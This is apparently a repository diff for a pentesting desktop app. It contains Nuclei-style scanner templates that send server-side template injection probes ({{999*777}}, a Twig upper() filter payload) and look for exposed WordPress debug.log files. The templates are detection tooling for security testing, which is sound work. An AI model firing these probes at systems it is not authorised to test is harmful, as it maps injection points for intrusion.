- "{{BaseURL}}/hello/xplZZZ{{999*777}}ssti"
stop_at_first_match: true
matchers-condition: and
matchers:
# must be 2xx (not 400/404 - those show errors which may contain our payload)
- type: status
status: [200, 201, 204]
# computed value must appear — very specific string
- type: word
part: body
words:
- "xplZZZ776223ssti"
# raw payload must NOT be echoed verbatim (server evaluated it)
- type: word
part: body
words:
- "xplZZZ{{999*777}}ssti"
negative: true

View File

@@ -0,0 +1,35 @@
id: xpl-ssti-twig
info:
name: "Server-Side Template Injection (Twig/PHP)"
author: imtaqin
severity: critical
description: |
Twig SSTI via upper() filter on a unique marker. Confirms only when
the unique uppercase value is reflected AND the raw {{ }} payload
is NOT echoed back.
tags:
- ssti
- rce
- php
- twig
http:
- method: POST
path:
- "{{BaseURL}}/"
headers:
Content-Type: application/x-www-form-urlencoded
body: "name=xplZZZ{{'xplmarker'|upper}}ssti"
matchers-condition: and
matchers:
- type: status
status: [200, 201]
- type: word
part: body
words:
- "xplZZZXPLMARKERssti"
- type: word
part: body
words:
- "{{'xplmarker'|upper}}"
negative: true

View File

@@ -0,0 +1,37 @@
id: xpl-wp-debug
info:
name: "WordPress debug.log Exposure"
author: imtaqin
severity: medium
tags:
- wordpress
- exposure
- debug
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/debug.log"
- "{{BaseURL}}/wp-content/uploads/debug.log"
matchers-condition: and
matchers:
- type: status
status: [200]
# PHP log entries have specific format: [date time UTC] line
- type: regex
part: body
regex:
- "^\\[\\d{2}-\\w{3}-\\d{4}"
- type: word
part: body
words:
- "PHP Notice"
- "PHP Warning"
- "PHP Fatal error"
- "WordPress database error"
condition: or
- type: regex
part: header
regex:
- "(?i)content-type:\\s*text/html"
negative: true

35
src-tauri/tauri.conf.json Normal file
View File

@@ -0,0 +1,35 @@
{
"$schema": "https://schema.tauri.app/config/2",
"productName": "Pocket Pentester",
"version": "0.1.0",
"identifier": "com.imtaqin.pocketpentester",
"build": {
"beforeDevCommand": "npm run dev",
"devUrl": "http://localhost:1420",
"beforeBuildCommand": "npm run build",
"frontendDist": "../dist"
},
"app": {
"windows": [
{
"title": "Pocket Pentester",
"width": 800,
"height": 600
}
],
"security": {
"csp": null
}
},
"bundle": {
"active": true,
"targets": "all",
"icon": [
"icons/32x32.png",
"icons/128x128.png",
"icons/128x128@2x.png",
"icons/icon.icns",
"icons/icon.ico"
]
}
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1 @@
404: Not Found

File diff suppressed because it is too large Load Diff

Some files were not shown because too many files have changed in this diff Show More